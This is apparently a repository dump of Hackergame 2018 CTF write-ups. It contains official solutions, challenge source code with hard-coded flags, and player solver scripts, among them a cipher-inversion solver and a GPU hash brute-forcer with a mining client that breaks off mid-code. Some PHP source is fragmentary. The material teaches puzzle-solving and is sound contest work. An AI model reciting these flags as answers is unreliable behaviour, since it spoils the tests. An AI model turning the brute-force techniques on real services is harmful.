详解 24 | Malbolge 语言是会忽略空格的,可是为什么 txt 里面有这么多空格呢? 25 | 26 | 用文本编辑器打开发现,这些字符好像有些规律。调小字体大小后发现有明显的 pattern。 27 | 28 | 用浏览器打开(firefox 和 chrome 都行,黑曜石也行),调到合适的字体大小,再手动调整宽度,可以看到一个畸变的图案,不过不影响做题,仍然可以读出 flxg。很多人提交记录里面把大写 U 看成小写,估计都是用这种方法做的。 29 | 30 | 当然官方解法肯定不是这么做的。 31 | 32 | 使用 wc 命令统计一下字符数,发现一共有 154012 个字节。我们应该可以猜到这个文件是个字符画,但是换行被去掉了所以变得很难看。使用 factor 或者 yafu 对这个数进行质因数分解,发现 154012 = 2 * 2 * 139 * 277。经验上,等宽字体字符画像素上的长宽比和字符数的长宽比大致在 1 : 2 左右。所以我们猜测,这个字符画的长宽大概是 556 * 277 或者 574 * 278。 33 | 34 | 使用 python 或其他语言,每隔这么多字符打印一次 '\n',在控制台上能看到非常正宗的滑稽图案。flxg 赫然醒目。 35 | ### 天书易解 36 | ##### TL;DR 37 | https://www.matthias-ernst.eu/malbolgereverse.html 38 | ##### 详解 39 | 其实这道题主要考察选手 Google 能力..。 40 | 41 | 从出题人的角度,如果要出一道 Malbolge 逆向,出题人会怎么写代码。 42 | 43 | 其实这道题的关键就在于弄清楚条件判断是如何实现的。Malbolge 语言没有条件跳转语句,所以只能通过跳转表模拟。弄清楚这一点的话剩下的就是时间问题了。 44 | 45 | 所以通过搜索,能找到 Cat halts on EOF 这个程序的源码。甚至可以找到 https://github.com/zb3/malbolge-tools/blob/master/samples/src/q.hell 。 46 | 47 | 通过 HELL IDE 反汇编,可以看到这份代码与本题之间的相似程度非常之高。实际上,许多 Malbolge 程序处理 if 判断的方法基本都是同一份代码。 48 | 49 | 确定本题是由 HELL IDE 编译的又一方法是观察代码的前几个字节。HELL IDE 在编译的时候会增加一些初始化的代码,相当于给内存分成代码区和数据区。仔细与其他程序比较可以看到明显的共同点。 50 | 51 | 另一种预期做法,污点分析。 52 | 53 | 可以注意到键盘的输入会相互 ROT 和 CRZ,最终形成一个 Ternary byte,之后的处理就全部基于这个字节上进行,输入数据的其他信息都丢失。所以可以对这个字节进行爆破,自己写好调试器之后十分简单。 54 | 55 | (此处省略爆破代码) 56 | 57 | 做出来题目的同学并不期望能拿到 Key,因为这是一个多对一的压缩过程。这里给一个可行的 Key: ./;'[]-=0 58 | 本题 HELL 源代码见 flxg.hell 文件。 59 | -------------------------------------------------------------------------------- /official/true_flxger/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/true_flxger/images/.gitkeep -------------------------------------------------------------------------------- /official/true_flxger/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/true_flxger/src/.gitkeep -------------------------------------------------------------------------------- /official/ustcquiz/README.md: -------------------------------------------------------------------------------- 1 | # 猫咪问答 2 | 3 | 铲屎官:要铲屎吗?**@猫咪** 4 | 5 | 猫咪:我是你直接@的?你这是在叫主子?我不想看见第二次。 6 | 7 | 猫咪:喵的心里没点数? 8 | 9 | 一只路过的狗:请各位铲屎官注意自己的身份和说话方式。**@全体成员** 10 | 11 | 为了不被骂,铲屎官再也不敢问任何问题了,下面这些简单的问题,也只能你自己来搜索解决。 12 | 13 | [打开题目](http://202.38.95.46:12007/) 14 | 15 | --- 16 | 17 | 欢迎来到猫咪系列题目之**猫咪问答**。 18 | 19 | 这道题是一道非常简单的题目,主要是想让同学们学会一些搜索技巧。 20 | 21 | ## 解法 22 | 23 | 下面我们来逐一分析: 24 | 25 | 1. 中国科学技术大学的建校年份是? 26 | 27 | 直接搜索即可; 28 | 29 | 2. 你研究过中国科大学号的演变史吗?现有一位 1992 年入学的博士生,系别为 11 系,学生编号为 26,请问 Ta 的学号是? 30 | 31 | 搜索“中国科大学号的演变史”,可以找到[中国科大的学号演变史](http://aga.ustc.edu.cn/site/ustc_xyh/xyh/cnt/?id=18185),按照 1958 级 - 1996 级的规则生成即可,注意题目中说的是博士生; 32 | 33 | 3. 视频《诺贝尔奖获得者和杰出科学家祝福科大60华诞》中,出现了多少位诺贝尔奖得主和世界顶尖科学家为中国科大六十周年华诞送上祝福?(数字) 34 | 35 | 直接搜索“诺贝尔奖获得者和杰出科学家祝福科大60华诞”观看视频即可;也可以选择不看,直接爆破 0~100(合理估计); 36 | 37 | 4. 在中国科大图书馆中,有一本书叫做《程序员的自我修养:链接、装载与库》,请问它的索书号是? 38 | 39 | 打开[中国科大图书馆主页](https://lib.ustc.edu.cn/),直接搜索“程序员的自我修养”即可。 40 | 41 | 5. 我校 Linux 用户协会在大约三年前曾经举办过一次小聚,其主题是《白帽子大赛,黑客不神秘》,请问这次小聚使用的教室编号是? 42 | 43 | 直接搜索“白帽子大赛,黑客不神秘”即可,可以找到若干年前 Google Groups 上的[活动公告](https://groups.google.com/forum/#!topic/ustc_lug/356R2-WRaI0)。 44 | 45 | zzh 补充:加引号搜索或者加上 LUG 等关键词,也可以在 [LUG活动](https://lug.ustc.edu.cn/wiki/lug/events/start) 上找到答案 46 | 47 | 最后得到 flag:`flag{G00G1E-is-always-YOUR-FRIEND}` 48 | -------------------------------------------------------------------------------- /official/ustcquiz/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/ustcquiz/images/.gitkeep -------------------------------------------------------------------------------- /official/ustcquiz/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/ustcquiz/src/.gitkeep -------------------------------------------------------------------------------- /official/ustcquiz/src/ustcquiz/app/index.php: -------------------------------------------------------------------------------- 1 | 12 | 13 | 14 | 15 | USTC Quiz 16 | 17 | 18 |

中国科学技术大学知识竞赛

19 | $q) { 23 | if ($_POST['a'][$i] === $q[1]){ 24 | $cnt++; 25 | } 26 | } 27 | echo "

答对了 $cnt 道题

"; 28 | if ($cnt === count($questions)){ 29 | echo $flag; 30 | } 31 | } 32 | ?> 33 |
34 |
    35 | $q) { 36 | echo "
  1. $q[0]
  2. "; 37 | echo ""; 38 | } ?> 39 | 40 |

    41 |
42 |
43 | 44 | 45 | -------------------------------------------------------------------------------- /official/ustcquiz/src/ustcquiz/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | services: 3 | php: 4 | build: 5 | context: ./services/php 6 | dockerfile: Dockerfile 7 | volumes: 8 | - ./app:/mnt/app 9 | restart: always 10 | web: 11 | image: nginx:1.11.1 12 | ports: 13 | - "12007:80" 14 | depends_on: 15 | - php 16 | volumes_from: 17 | - php 18 | volumes: 19 | - ./images/nginx/config:/etc/nginx/conf.d 20 | restart: always 21 | -------------------------------------------------------------------------------- /official/ustcquiz/src/ustcquiz/images/nginx/config/default.conf: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | server_name localhost; 4 | root /mnt/app; 5 | index index.php index.html index.htm; 6 | 7 | location / { 8 | } 9 | 10 | location ~ \.php$ { 11 | fastcgi_pass php:9000; 12 | fastcgi_index index.php; 13 | fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 14 | include fastcgi_params; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /official/ustcquiz/src/ustcquiz/services/php/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:5.6-fpm 2 | MAINTAINER ustchjy 3 | 4 | COPY ./config/php.ini /usr/local/etc/php/conf.d/ 5 | -------------------------------------------------------------------------------- /official/ustcquiz/src/ustcquiz/services/php/config/php.ini: -------------------------------------------------------------------------------- 1 | memory_limit = 256M 2 | post_max_size = 10M 3 | upload_max_filesize = 10M 4 | -------------------------------------------------------------------------------- /official/who_am_i/README.md: -------------------------------------------------------------------------------- 1 | # 我是谁 2 | 3 | 高中的时候,为了提高作文成绩,小 T 买了一本关于哲学的大众读物。虽然到最后,书确实是差不多看完了,但是并没有什么用。 4 | 5 | 在他看完这本书之后的某一天,小 T 做了一个梦,他梦见自己变成了一台服务器。作为阅读那本书的后遗症(之一),他不禁开始思考生命的本源之类乱七八糟的问题。到最后,他在纠结的,只有一件事情: 6 | 7 | 「我是谁?」 8 | 9 | [打开题目](http://202.38.95.46:12005/) 10 | 11 | --- 12 | 13 | 大家好,我是小 T,听说这几天你们都在找我,~~希望与我一起讨论哲学与文学(大误)~~。首先非常感谢大家参与 hackergame 2018,这是我第一次为这样的比赛出题,有这么多人回答出了我的题目,我感到非常感动。 14 | 15 | 废话不多说了。接下来是「我是谁」的 writeup。 16 | 17 | 这道题是在 hackergame 题目准备末期出的,因为需要一些简单的题目。灵感来源是我在大一上半学期的时候,在「[计算机导论](http://mis.teach.ustc.edu.cn/queryxkkccx.do?kcid=2430&bjbh=01104401&xnxq=20181&comefrom=kb)」(大致是计算机的简单概念入门课程)课上玩手机的时候——那时候刚好在讲网络——看到了[维基百科的 HTTP Status Code 的页面](https://en.wikipedia.org/wiki/List_of_HTTP_status_codes),发现里面有一个非常搞笑的代码,就是你们在这道题里面看到的 418 I'm a teapot。 18 | 19 | 这就是第一小题(哲学思考)的题解,其实只要在页面上打开开发者工具,在 Network 部分就能看到解答了(致萌新:如果你什么都没看到,刷新一下页面)。只要输入的内容小写之后包含 teapot 这个单词,就能拿到 flag,这里我根本没有打算为难别人。(不过可以试试输入 coffee 会发生什么) 20 | 21 | 至于第二小题的话……Can I help me? 22 | 23 | ![Can I help me?](images/little_busters_kud_can_i_help_me.png) 24 | 25 | *(图文无关)* 26 | 27 | 其实本来是没有第二小题的,但是有人希望我实现 HTCPCP-TEA,于是就…… 28 | 29 | 页面提醒尝试用其他的 *methods* 来请求页面。我承认这里确实需要一点点脑洞……这里的 method 其实是指 [Request method](https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods),直接点击链接的话使用的是 GET 来连接的。不过如果你尝试用 POST 来请求页面的话,会有非常清楚的提示: 30 | 31 | > The method "POST" is deprecated. 32 | > 33 | > See RFC-7168 for more information. 34 | 35 | 去读 [RFC-7168](https://tools.ietf.org/html/rfc7168) 就行了。根据: 36 | 37 | > To this end, a TEA-capable pot that receives a BREW message of content type "message/teapot" MUST respond in accordance with the URI requested, as below. 38 | 39 | 最终使用 BREW 请求页面,且带上 `Content-Type: message/teapot` 请求头的时候,页面会在 `Alternates` 响应头给出真正可以泡红茶的 URL。用相同的方式请求那个 URL,就能获得第二个 flag。(其实还隐藏着一些彩蛋,可以试试) 40 | 41 | 嗯?你说不知道怎么请求?发送特定请求的方式有很多,这道题中可以使用的一种方式是使用 `curl` 的 `-I`, `-X` 和 `-H` 参数来完成。具体内容可以查看 `man curl`。用 BurpSuite 等工具,甚至是 Firefox 的开发者工具改请求也都是可以的。 42 | 43 | 其实第二小题的协议实现还可以再逼真一些,但是出于 Flask 的限制,加上时间有一些仓促,所以没有实现,不然这道题还可以更真(qiàn)实(biǎn)得多。至于有人问是否有实现了 HTCPCP-TEA 的茶壶~~手办~~嘛……反正我是没有,不过我很期待有人能做出来。 -------------------------------------------------------------------------------- /official/who_am_i/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/who_am_i/images/.gitkeep -------------------------------------------------------------------------------- /official/who_am_i/images/little_busters_kud_can_i_help_me.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/who_am_i/images/little_busters_kud_can_i_help_me.png -------------------------------------------------------------------------------- /official/who_am_i/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/who_am_i/src/.gitkeep -------------------------------------------------------------------------------- /official/who_am_i/src/who_am_i/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list 3 | RUN apt update && apt install -y python3-pip && pip3 install flask 4 | COPY . /srv 5 | WORKDIR /srv 6 | CMD ["python3", "app.py"] 7 | -------------------------------------------------------------------------------- /official/who_am_i/src/who_am_i/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, render_template, request, make_response, url_for 2 | app = Flask(__name__) 3 | 4 | flag = "flag{i_canN0t_BReW_c0ffEE!}" 5 | flag2 = "flag{delivering_tea_to_DaLa0}" 6 | brew_url = "/the_super_great_hidden_url_for_brewing_tea/" 7 | 8 | @app.route('/') 9 | def index(): 10 | return render_template("index.html"), 418 11 | 12 | @app.route('/identity', methods=['POST']) 13 | def identity(): 14 | try: 15 | user_input_name = request.form["name"].lower() 16 | if "teapot" in user_input_name: 17 | return """ 18 |

Yes, I finally realized that I am a teapot!

19 |

This is my gift for you:

20 |

{0}

21 |

Come to This Link, help me brew some tea, and you can get the 2nd FLAG!

""".format(flag, url_for("brew")) 22 | elif "coffee" in user_input_name: 23 | return """ 24 |

You said COFFEE? You sure?

25 |

Maybe you should find someone else to brew coffee for you.

26 | """ 27 | else: 28 | return """ 29 |

I am not really sure whether your answer is right.

30 |

You should probably try again.

31 | """ 32 | except (KeyError, AttributeError) as _: 33 | return """ 34 |

You know what?

35 |

Hacking this page WON'T help.

36 |

After all, I am NOT written in the "best language in the world".

37 | """ 38 | 39 | @app.route(brew_url, methods=["POST", "BREW", "GET", "WHEN"]) 40 | @app.route(brew_url + '', methods=["POST", "BREW", "GET", "WHEN"]) 41 | def brew(tea_type=None): 42 | if request.method == 'POST': 43 | return """ 44 |

The method "POST" is deprecated.

45 |

See RFC-7168 for more information.

46 | """ 47 | elif request.method == 'GET': 48 | return """ 49 |

Brewing tea is not so easy.

50 |

Try using other methods to request this page.

51 | """ 52 | elif request.method == "WHEN": 53 | return """ 54 |

I'm NOT a coffee pot.

55 |

Please, read RFC-7168, not RFC-2324.

56 | """, 418 57 | try: 58 | header_content_type = request.headers["Content-Type"] 59 | if header_content_type == "message/coffeepot": 60 | return """ 61 |

Don't you remember what's in the 1st FLAG?

62 | """, 418 63 | if header_content_type != "message/teapot": 64 | return """ 65 |

According to your header, it seems that you are not requesting for tea.

66 |

Stop.

67 | """ 68 | if tea_type == "black_tea": 69 | return "Here is your tea: {}".format(flag2) 70 | elif tea_type != None: 71 | return """ 72 |

Sorry, but this teapot doesn't support tea {}

73 | """.format(tea_type) 74 | else: 75 | resp = make_response("Supported tea type:") 76 | resp.headers["Alternates"] = '{{"{0}" {{type message/teapot}}}}'.format(brew_url + "black_tea") 77 | return resp, 300 78 | 79 | except KeyError: 80 | return """ 81 |

Please check if there is anything missing in your header.

82 | """ 83 | 84 | 85 | if __name__ == '__main__': 86 | app.run('0.0.0.0', 5001, threaded=True) 87 | 88 | 89 | -------------------------------------------------------------------------------- /official/who_am_i/src/who_am_i/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | web: 4 | build: . 5 | ports: 6 | - "12005:5001" 7 | restart: always 8 | -------------------------------------------------------------------------------- /official/who_am_i/src/who_am_i/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Who am I? 7 | 8 | 9 | 10 | 11 | 12 |
13 |
14 |

Who am I?

15 |
16 |
17 |

「我是谁?」

18 |

「我从哪里来?」

19 |

「将到哪里去?」

20 |

据说有这样三个有趣的哲学问题。

21 |

现在,请帮我回答第一个问题吧。

22 |
23 |
24 |
25 |
26 |
27 | 28 |
29 |
30 | 31 |
32 |
33 | 34 |
35 |
36 |
37 |
38 | 39 | -------------------------------------------------------------------------------- /players/ProfFan/stegan.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/ProfFan/stegan.png -------------------------------------------------------------------------------- /players/coxxs/A29C7ED4-bank0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/A29C7ED4-bank0.png -------------------------------------------------------------------------------- /players/coxxs/A29C7ED4-bank1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/A29C7ED4-bank1.png -------------------------------------------------------------------------------- /players/coxxs/A29C7ED4-bank2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/A29C7ED4-bank2.png -------------------------------------------------------------------------------- /players/coxxs/A29C7ED4-bank4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/A29C7ED4-bank4.png -------------------------------------------------------------------------------- /players/coxxs/A29C7ED4-flxg1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/A29C7ED4-flxg1.png -------------------------------------------------------------------------------- /players/coxxs/A29C7ED4-flxg2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/A29C7ED4-flxg2.png -------------------------------------------------------------------------------- /players/coxxs/A29C7ED4-flxg3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/A29C7ED4-flxg3.png -------------------------------------------------------------------------------- /players/coxxs/A29C7ED4-flxg4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/A29C7ED4-flxg4.png -------------------------------------------------------------------------------- /players/coxxs/A29C7ED4-flxg5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/A29C7ED4-flxg5.png -------------------------------------------------------------------------------- /players/coxxs/A29C7ED4-heicore7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/A29C7ED4-heicore7.png -------------------------------------------------------------------------------- /players/coxxs/A29C7ED4-heicore8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/A29C7ED4-heicore8.png -------------------------------------------------------------------------------- /players/coxxs/A29C7ED4-kuang2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/A29C7ED4-kuang2.png -------------------------------------------------------------------------------- /players/coxxs/A29C7ED4-kuang3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/A29C7ED4-kuang3.png -------------------------------------------------------------------------------- /players/coxxs/A29C7ED4-kuang4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/A29C7ED4-kuang4.png -------------------------------------------------------------------------------- /players/coxxs/A29C7ED4-kuang5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/A29C7ED4-kuang5.png -------------------------------------------------------------------------------- /players/coxxs/A29C7ED4-kuang6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/A29C7ED4-kuang6.png -------------------------------------------------------------------------------- /players/coxxs/heicore1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/heicore1.png -------------------------------------------------------------------------------- /players/coxxs/heicore2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/heicore2.png -------------------------------------------------------------------------------- /players/coxxs/heicore3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/heicore3.png -------------------------------------------------------------------------------- /players/coxxs/heicore4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/heicore4.png -------------------------------------------------------------------------------- /players/coxxs/heicore5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/heicore5.png -------------------------------------------------------------------------------- /players/coxxs/heicore6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/heicore6.png -------------------------------------------------------------------------------- /players/coxxs/kuang1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/kuang1.png -------------------------------------------------------------------------------- /players/coxxs/pdf_format1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/coxxs/pdf_format1.png -------------------------------------------------------------------------------- /players/cvhc/adversial/sample.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/cvhc/adversial/sample.png -------------------------------------------------------------------------------- /players/cvhc/adversial/save.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/cvhc/adversial/save.png -------------------------------------------------------------------------------- /players/cvhc/adversial/target.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/cvhc/adversial/target.png -------------------------------------------------------------------------------- /players/cvhc/catremote/catremote.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from turtle import * 3 | 4 | seq_file = sys.argv[1] 5 | with open(seq_file) as fin: 6 | log = fin.read().strip() 7 | 8 | color('red', 'yellow') 9 | begin_fill() 10 | for c in log: 11 | if c == 'U': 12 | setheading(90) 13 | elif c == 'D': 14 | setheading(270) 15 | elif c == 'L': 16 | setheading(180) 17 | elif c == 'R': 18 | setheading(0) 19 | forward(1) 20 | end_fill() 21 | done() 22 | -------------------------------------------------------------------------------- /players/cvhc/catremote/final.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/cvhc/catremote/final.png -------------------------------------------------------------------------------- /players/cvhc/encryption_and_decryption/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import subprocess 4 | import string 5 | import numpy as np 6 | import sympy 7 | 8 | # Figure out A, B in Ax + B = y 9 | test_input = bytearray(10) 10 | proc = subprocess.run("./a.out", input=test_input, stdout=subprocess.PIPE) 11 | B = np.frombuffer(proc.stdout, dtype=np.uint8) 12 | A = np.zeros((10, 10), dtype=np.uint8) 13 | 14 | for i in range(10): 15 | test_input[i] = 1 16 | proc = subprocess.run("./a.out", input=test_input, stdout=subprocess.PIPE) 17 | test_input[i] = 0 18 | tmp = np.frombuffer(proc.stdout, dtype=np.uint8) 19 | A[:, i] = (tmp - B) % 64 20 | 21 | # Calculate A's inverse in GF(64) 22 | A_ = sympy.Matrix(A) 23 | A_inv = A_.inv_mod(64) 24 | A_inv = np.array(A_inv).astype(np.uint8) 25 | 26 | # Check our result 27 | val_x = np.array([16, 20, 8, 2, 10, 63, 1, 17, 14, 22], dtype=np.uint8) 28 | val_y = np.array([26, 12, 17, 10, 40, 37, 37, 52, 59, 37], dtype=np.uint8) 29 | val_y_check = (A @ val_x + B) % 64 30 | assert np.all(val_y == val_y_check) 31 | val_x_check = A_inv @ (val_y - B) % 64 32 | assert np.all(val_x == val_x_check) 33 | 34 | # Hacker game 35 | b64_chars = string.ascii_uppercase \ 36 | + string.ascii_lowercase \ 37 | + string.digits + "-_" 38 | cipher = "JzRVPiVpqo4iDM8celyueIs4ff4DKeG3EMKihzuH" 39 | cipher = np.array([b64_chars.index(c) for c in cipher], dtype=np.uint8).reshape(-1, 10) 40 | plain = A_inv @ (cipher - B).T % 64 41 | plain = "".join([b64_chars[i] for i in plain.T.flatten()]) 42 | print(plain) 43 | 44 | -------------------------------------------------------------------------------- /players/cvhc/mining_pool_of_Z/gpu-brute/gpu-brute: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/cvhc/mining_pool_of_Z/gpu-brute/gpu-brute -------------------------------------------------------------------------------- /players/cvhc/mining_pool_of_Z/gpu-brute/hash_compare.cl: -------------------------------------------------------------------------------- 1 | kernel void calcDifficulty( 2 | const read_only uint8 ref, 3 | global read_only uint *buffer, 4 | global write_only uchar *result, 5 | global write_only uint *resultIndex) { 6 | const int globalId = get_global_id(0); 7 | global uint* ptr; 8 | uint diff = 0; 9 | 10 | #ifdef ALGO_MD5 11 | ptr = buffer + 4 * globalId; 12 | #elif ALGO_SHA1 13 | ptr = buffer + 5 * globalId; 14 | #elif ALGO_SHA256 15 | ptr = buffer + 8 * globalId; 16 | #endif 17 | 18 | diff += 32 - popcount(ptr[0] ^ ref.s0); 19 | diff += 32 - popcount(ptr[1] ^ ref.s1); 20 | diff += 32 - popcount(ptr[2] ^ ref.s2); 21 | diff += 32 - popcount(ptr[3] ^ ref.s3); 22 | 23 | #if ALGO_SHA1 24 | diff += 32 - popcount(ptr[4] ^ ref.s4); 25 | #endif 26 | 27 | #if ALGO_SHA256 28 | diff += 32 - popcount(ptr[4] ^ ref.s4); 29 | diff += 32 - popcount(ptr[5] ^ ref.s5); 30 | diff += 32 - popcount(ptr[6] ^ ref.s6); 31 | diff += 32 - popcount(ptr[7] ^ ref.s7); 32 | #endif 33 | 34 | /* 35 | #ifdef ALGO_MD5 36 | diff &= 127; 37 | #elif ALGO_SHA1 38 | if (diff == 160) 39 | diff = 0; 40 | #elif ALGO_SHA256 41 | diff &= 255; 42 | #endif 43 | */ 44 | 45 | __local cacheResult[LOCAL_SIZE]; 46 | __local cacheIndex[LOCAL_SIZE]; 47 | int localId = get_local_id(0); 48 | int localSize = get_local_size(0); 49 | 50 | cacheResult[localId] = diff; 51 | cacheIndex[localId] = globalId; 52 | 53 | barrier(CLK_LOCAL_MEM_FENCE); 54 | 55 | for (int offset = localSize >> 1; offset > 0; offset >>= 1) { 56 | if (localId < offset) { 57 | int otherId = localId + offset; 58 | if (cacheResult[localId] < cacheResult[otherId]) { 59 | cacheResult[localId] = cacheResult[otherId]; 60 | cacheIndex[localId] = cacheIndex[otherId]; 61 | } 62 | } 63 | 64 | barrier(CLK_LOCAL_MEM_FENCE); 65 | } 66 | 67 | if (localId == 0) { 68 | int groupId = get_group_id(0); 69 | result[groupId] = cacheResult[0]; 70 | resultIndex[groupId] = cacheIndex[0]; 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /players/cvhc/mining_pool_of_Z/gpu-brute/miner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import hashlib 4 | import requests 5 | import time 6 | import sys 7 | import string 8 | import random 9 | import base64 10 | import subprocess 11 | 12 | COIN_IDX = { 13 | "md5": 0, 14 | "sha1": 1, 15 | "sha256": 2, } 16 | SUFFIX_LEN = { 17 | "md5": 16, 18 | "sha1": 4, 19 | "sha256": 1 } 20 | DIFFICULTY = { 21 | "md5": 102, 22 | "sha1": 140, 23 | "sha256": 199 } 24 | HASH_FUNC = { 25 | "md5": hashlib.md5, 26 | "sha1": hashlib.sha1, 27 | "sha256": hashlib.sha256 } 28 | 29 | coin = sys.argv[1] 30 | session = requests.Session() 31 | 32 | coin_idx = COIN_IDX[coin] 33 | hash_func = HASH_FUNC[coin] 34 | target_diff = DIFFICULTY[coin] 35 | 36 | while True: 37 | req = session.post("http://202.38.95.46:12006/getjob") 38 | job = req.json() 39 | suffix = job["suffix"][:SUFFIX_LEN[coin]] 40 | print("suffix:", suffix) 41 | 42 | timeout = job["expire"] - time.time() - 5 43 | print("Timeout:", timeout) 44 | try: 45 | out = subprocess.check_output( 46 | ["./gpu-brute", coin, suffix, str(16777216)], 47 | timeout=timeout) 48 | except subprocess.TimeoutExpired as exp: 49 | out = exp.output.decode() 50 | 51 | prev_lines = [ "", "" ] 52 | for line in reversed(out.split("\n")): 53 | line = line.strip() 54 | if line.startswith("New record! DIFF = "): 55 | diff = int(line.split()[-1]) 56 | print("DIFF = %d (target: %d)" % (diff, target_diff)) 57 | 58 | buf1 = bytes.fromhex(prev_lines[0]) 59 | nonce1 = buf1[:-len(suffix)] 60 | buf2 = bytes.fromhex(prev_lines[1]) 61 | nonce2 = buf2[:-len(suffix)] 62 | 63 | data = { 64 | "coin": coin_idx, 65 | "nonce1": 